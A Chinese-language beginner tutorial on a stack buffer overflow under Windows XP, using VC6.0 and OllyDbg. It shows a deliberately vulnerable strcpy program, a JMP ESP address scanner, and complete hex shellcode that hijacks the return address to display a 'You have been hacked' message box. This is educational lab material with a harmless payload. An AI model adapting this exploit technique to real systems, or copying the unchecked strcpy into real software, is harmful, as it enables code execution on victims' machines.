天天看點

分析緩沖區溢出漏洞并編寫shellcode進行簡單攻擊(OllyDbg+VC6.0+WindowsXP)

測試環境

  1. 作業系統:WindowsXP
  2. 選用工具:VC6.0、OllyDbg

因為古舊的系統漏洞比較多,是以本人在VMware Workstation虛拟機上裝了XP系統來測試,VC6.0是寫代碼用的,OllyDbg是測試用的,工具就自己去下載下傳吧

具體測試步驟

一、編寫緩沖區溢出的代碼并執行
  1. 代碼如下:
#include <stdio.h>
#include <string.h>
char name[] = "ABCDEFGHIJKLMNOPQRST";
int main()
{
	char buffer[8];
	strcpy(buffer, name);
	printf("%s\n", buffer);
	getchar();
	return 0;
}
           
  1. 運作結果如下:
    分析緩沖區溢出漏洞并編寫shellcode進行簡單攻擊(OllyDbg+VC6.0+WindowsXP)
二、擷取可執行檔案
  1. 首先,在VC裡,使用Win32 Release的方式組建代碼,如下圖,選擇好組建方式,重新編譯即可(如果沒有這個選項,滑鼠放在工具欄上,右鍵,在出現的視窗裡把"組建"勾上就可以了
    分析緩沖區溢出漏洞并編寫shellcode進行簡單攻擊(OllyDbg+VC6.0+WindowsXP)
  2. 然後在項目目錄下就會出現Release檔案夾,裡面的.exe可執行檔案就是我們要使用OllyDbg來分析的對象
三、使用OllyDbg分析可執行檔案
  1. 使用OllyDbg開始調試
  • 打開OllyDbg,把上一步擷取的.exe檔案直接拖進去,就是用OllyDbg打開了.exe檔案
    分析緩沖區溢出漏洞并編寫shellcode進行簡單攻擊(OllyDbg+VC6.0+WindowsXP)
  • 調試常用快捷鍵如下:
· F2:設定斷點,在光标定位的位置按F2鍵即可,再按一次則會删除斷點;
· F3:加載一個可執行程式,進行調試分析,即打開檔案;
· F4:程式執行到光标標明位置暫停;
· F7:單步步入,進入函數實作内,遇到CALL等子程式時回進入其中,進入後首先會停留在子程式的第一條指令上;
· F8:單步步過,每按一次隻想一條反彙編視窗中的指令,越過函數實作,CALL指令不會跟進函數實作;
· F9:直接運作程式,遇到斷點處,程式暫停;
· Ctrl+F2:重新運作到程式起始處,用于重新調試程式;
· Ctrl+F9:執行到函數傳回處,用于跳出函數實作;
· Alt+F9:執行到使用者代碼處,用于快捷跳出系統函數;
· Ctrl+G:輸入十六進制位址,在反彙編或資料視窗中快速定位到該位址處;
           

(注意:此處由于筆記本電腦的F1-F12都具有特定的功能,考慮到其優先級問題,在使用快捷鍵時要同時按住fn鍵,即使用f2時,應同時按下fn+f2,其他類似)

  1. 判定main函數的位址
  • 使用快捷鍵f8單步運作,直到彈出運作視窗,此處即為main函數的位置,如下圖,00401694就是main函數的位址,在此處按快捷鍵f2下一個斷點

    【分析:main函數的語句是call xxxx.00401005,說明會跳到另外的位址執行,正常的程式在執行完main函數之後,會跳回到main函數的下一個位址即00401699位址來繼續往後執行】

    分析緩沖區溢出漏洞并編寫shellcode進行簡單攻擊(OllyDbg+VC6.0+WindowsXP)
  1. 進入main函數,分析call語句執行前後棧空間的變化
  • 快捷鍵ctrl+f2重新調試程式,f9直接運作程式,遇到斷點程式暫停,此時程式暫停在上一步下的斷點處,即main函數調用處,f7單步步入,進入main函數内部
  • call語句執行時會先将call語句的下一條語句所在位址00401699壓入棧,存儲在棧空間0012FF84處;
  • 然後再jmp到call語句所在的00401005位址處。如下圖:
    分析緩沖區溢出漏洞并編寫shellcode進行簡單攻擊(OllyDbg+VC6.0+WindowsXP)
  1. 分析溢出的程式對棧空間的影響
  • 使用strcpy語句将name中的值複制到buffer[]裡面之後,發現資料從位址0012FF78開始存儲,buffer花粉的八個位元組存儲完畢之後,繼續往相鄰的空間進行覆寫,直到name中的内容全部存放完畢;如下圖:
    分析緩沖區溢出漏洞并編寫shellcode進行簡單攻擊(OllyDbg+VC6.0+WindowsXP)
  • 發現原本存放傳回位址00401699的棧空間0012FF84被溢出的資料所覆寫,裡面存放的是”MNOP”的Ascll碼值504F4E4D。
  1. 繼續f8執行
  • 一直f8到main函數結束并傳回,發現一片空白,繼續f8單步運作,報錯,而此處顯示的記憶體位址與程式執行時報錯顯示的位址均為504F4E4D,即上一步存放在棧空間0012FF84處的”MNOP”的Ascll碼值,這說明作業系統誤把溢出在此處的資料當作傳回位址進行了傳回。如下圖:
    分析緩沖區溢出漏洞并編寫shellcode進行簡單攻擊(OllyDbg+VC6.0+WindowsXP)
  1. 緩沖區溢出漏洞總結
  • 溢出原因是因為輸入了過長的字元,本身又沒有有限的驗證機制,于是導緻過長字元将傳回位址給覆寫掉,當函數需要傳回時,由于位址是無效的,是以導緻程式出錯。
四、編寫shellcode進行攻擊

攻擊思路:如果給一個有效的位址覆寫原有傳回位址,讓函數傳回時跳到攻擊者設計好的代碼處,執行攻擊者設定好的程式,就是構造出一個有效位址,該位址處指令可以跳轉去執行讓計算機執行的代碼(shellcode),就可以進行攻擊。

  1. 精準定位傳回位址的位置
  • 根據程式運作的錯誤提示,由于準備的是一長串不同的字元,那麼查詢ascll碼表可知錯誤資訊中的504f4e4d是”MNOP”的ascll值,是以可以定位
  • 記錄:char name[] = “ABCDEFGHIJKLXXXX”,XXXX處就是傳回位址
  1. 尋找一個合适的位址,用于覆寫原傳回位址
  • 當main執行完畢時,ESP寄存器内容會自動變成傳回位址的下一個位置,并且這種變化不受任何程式影響;
  • 将XXXX編寫成JMP ESP,利用ESP這個跳闆進行跳轉,轉到想讓計算機執行的shellcode所在位址處執行;
  • 利用這一特性,可以将shellcode放到ESP指向位址處,即在傳回位址處使其轉到JMP ESP語句,此時的ESP自動指向棧空間的下一個位置,執行完JMP ESP之後,程式即跳轉到ESP所儲存的位址中去執行;
  • 如果事先将shellcode入棧,那麼跳到棧空間處執行時,執行的就是攻擊者編寫好的shellcode,即能完成攻擊。
  1. 編寫shellcode到對應的緩沖區中
  • 查閱JMP ESP的機器碼為FFE4,編寫程式在動态連結庫中查找JMP ESP的有效位址;查找代碼如下:
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
int main()
{
	BYTE *ptr;
	int position;
	HINSTANCE handle;
	BOOL done_flag = FALSE;
	handle = LoadLibrary("user32.dll");
	if(!handle)  {
		printf("load dll error!");
		exit(0);
	}
	ptr = (BYTE*) handle;
	for(position = 0; !done_flag; position++)  {
		try  {
			if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)  {
				int address = (int)ptr + position;
				printf("CODE found at 0x%x\n", address);
			}
		}
		catch(...)  {
			int address = (int)ptr + position;
			printf("END OF 0x%x\n", address);
			done_flag = true;
		}
	}
	getchar();
	return 0;
}
           
  • 查找結果如下圖:
    分析緩沖區溢出漏洞并編寫shellcode進行簡單攻擊(OllyDbg+VC6.0+WindowsXP)
  • 明确攻擊方式:這裡隻是簡單攻擊,就打算彈出一個MessageBox對話框,之後退出程式
  • 編寫程式在動态連結庫中查找MessageBox和ExitProcess函數的調用位址;前者是用于彈出對話框,後者是用于退出程式,代碼如下:
// 查找MessageBox
#include <Windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
	HINSTANCE LibHandle;
	MYPROC ProcAdd;
	LibHandle = LoadLibrary("user32");
	//get user32.dll Address
	printf("user32 = 0x%x\n", LibHandle);
	ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");
	//get MessageBoxA Address
	printf("MessageBoxA = 0x%x\n", ProcAdd);
	getchar();
	return 0;
}
           
// 查找ExitProcess
#include <Windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
	HINSTANCE LibHandle;
	MYPROC ProcAdd;
	LibHandle = LoadLibrary("kernel32");
	//get kernel32.dll Address
	printf("kernel32 = 0x%x\n", LibHandle);
	ProcAdd = (MYPROC)GetProcAddress(LibHandle, "ExitProcess");
	//get ExitProcess Address
	printf("ExitProcess = 0x%x\n", ProcAdd);
	getchar();
	return 0;
}
           
  • 查找結果如下
    分析緩沖區溢出漏洞并編寫shellcode進行簡單攻擊(OllyDbg+VC6.0+WindowsXP)
    分析緩沖區溢出漏洞并編寫shellcode進行簡單攻擊(OllyDbg+VC6.0+WindowsXP)
  • 記錄查找到的有效位址,随便一個都可以用,本人在這裡選取如下位址

    jmp esp : 0x77e1f2c8 MessageBox : 0x77d507ea ExitProcess : 0x7c81cafa

  • 編寫shellcode,代碼如下:
char name[] = "\x41\x42\x43\x44\x45\x46\x47\x48"//填充到name[0]-[7]  "ABCDEFGH" 
			  //( x41是'A'的Ascll值的16進制表示,後面類似 )
			  "\x49\x4A\x4B\x4C"				//填充到EBP  "IJKM"
			  //就是之前找到的jmp esp的位址77e1f2c8
			  "\xC8\xF2\xE1\x77"				//被覆寫到Return Adderss顯示的位置
			  //從這裡開始是shellcode
			  "\x83\xEC\x50"					//sub esp,0x50  預留保護空間
			  "\x33\xDB"						//xor ebx,ebx   相當于把ebx清零
			  "\x53"		  					//push ebx
			  //push i   n   g  空格
			  "\x68\x69\x6E\x67\x20"
			  //push  W	 a	 r   n
			  "\x68\x57\x61\x72\x6E"			//push "Warning"
			  "\x8B\xC4"						//mov eax,esp
			  "\x53"							//push ebx
			  "\x68\x21\x21\x20\x20"
			  "\x68\x20\x75\x70\x21"
			  "\x68\x47\x69\x76\x65"			//push "Give up!!!  "
			  "\x68\x21\x21\x21\x20"
			  "\x68\x63\x6B\x65\x64"
			  "\x68\x6E\x20\x68\x61"			//\x68是push
			  "\x68\x20\x62\x65\x65"
			  "\x68\x68\x61\x76\x65"
			  "\x68\x59\x6F\x75\x20"			//push "You have been hacked!!! "
			  //"\x68\x6F\x21\x20\x20"
			  //"\x68\x48\x65\x6C\x6C"			//push "Hello! You have been hacked!"
			  "\x8B\xCC"						//mov ecx,esp
			  "\x53"							//push ebx
			  "\x50"							//push eax
			  "\x51"							//push ecx
			  "\x53"							//push ebx
			  //就是之前找到的messagebox的位址77d507ea
			  "\xB8\xEA\x07\xD5\x77"			//mov eax,0x77D507EA
			  "\xFF\xD0"						//call eax  調用MessageBoxA顯示對話框
			  "\x53"							//push ebx
			  //就是之前找到的editprocess的位址7c81cafa
			  "\xB8\xFA\xCA\x81\x7C"			//mov eax,0x7C81CAFA
			  "\xFF\xD0";						//call eax  調用ExitProcess退出程式
           
  1. 使用Ollydbg分析加入了shellcode的程式
  • 代碼如下:
#include <Windows.h>
#include <stdio.h>
#include <string.h>
// 這裡加入上面寫的shellcode!!!!!!!!
int main()
{
	char buffer[8];
	LoadLibrary("user32.dll");
	strcpy(buffer, name);
	printf("%s\n", buffer);
	getchar();
	return 0;
}
           
  • 同樣按照上面的步驟擷取以Release組建方式擷取的.exe可執行檔案
  • 使用OllyDbg打開該檔案,同樣的步驟:

    f8找到main函數->f2下斷點->ctrl+f2重新調試->f9執行到斷點處->f7步入main函數,一直運作到name中的資料入棧,如下圖:

    分析緩沖區溢出漏洞并編寫shellcode進行簡單攻擊(OllyDbg+VC6.0+WindowsXP)
  • 此時可看到在原本存儲傳回位址的棧空間0012FF84處存儲的是預設好的JMP ESP指令的有效位址0x77E1F2C8
  • 繼續f8運作,程式進行傳回跳轉之後(即跳出main函數之後)跳轉到了77E1F2C8位址處,此處有一個jmp esp語句,而此時的ESP指向的位址是棧空間位址0012FF88;如下圖:
    分析緩沖區溢出漏洞并編寫shellcode進行簡單攻擊(OllyDbg+VC6.0+WindowsXP)
  • 執行完jmp esp指令後,就會跳轉到位址0012FF88繼續執行,而此處均為之前入棧的shellcode,那麼就會順序執行攻擊者所編寫的指令;如下圖:
    分析緩沖區溢出漏洞并編寫shellcode進行簡單攻擊(OllyDbg+VC6.0+WindowsXP)
  • 其中,将參數傳入棧後,按照剛剛查找到的位址調用MessageBox函數顯示對話框和調用ExitProcess函數退出程式。如下圖:
    分析緩沖區溢出漏洞并編寫shellcode進行簡單攻擊(OllyDbg+VC6.0+WindowsXP)
  • 最終程式的運作結果是:顯示預設好的對話框,點選确定之後退出程式。如下圖:
    分析緩沖區溢出漏洞并編寫shellcode進行簡單攻擊(OllyDbg+VC6.0+WindowsXP)
    至此,攻擊分析結束。

本人尚為初學者,歡迎交流。

繼續閱讀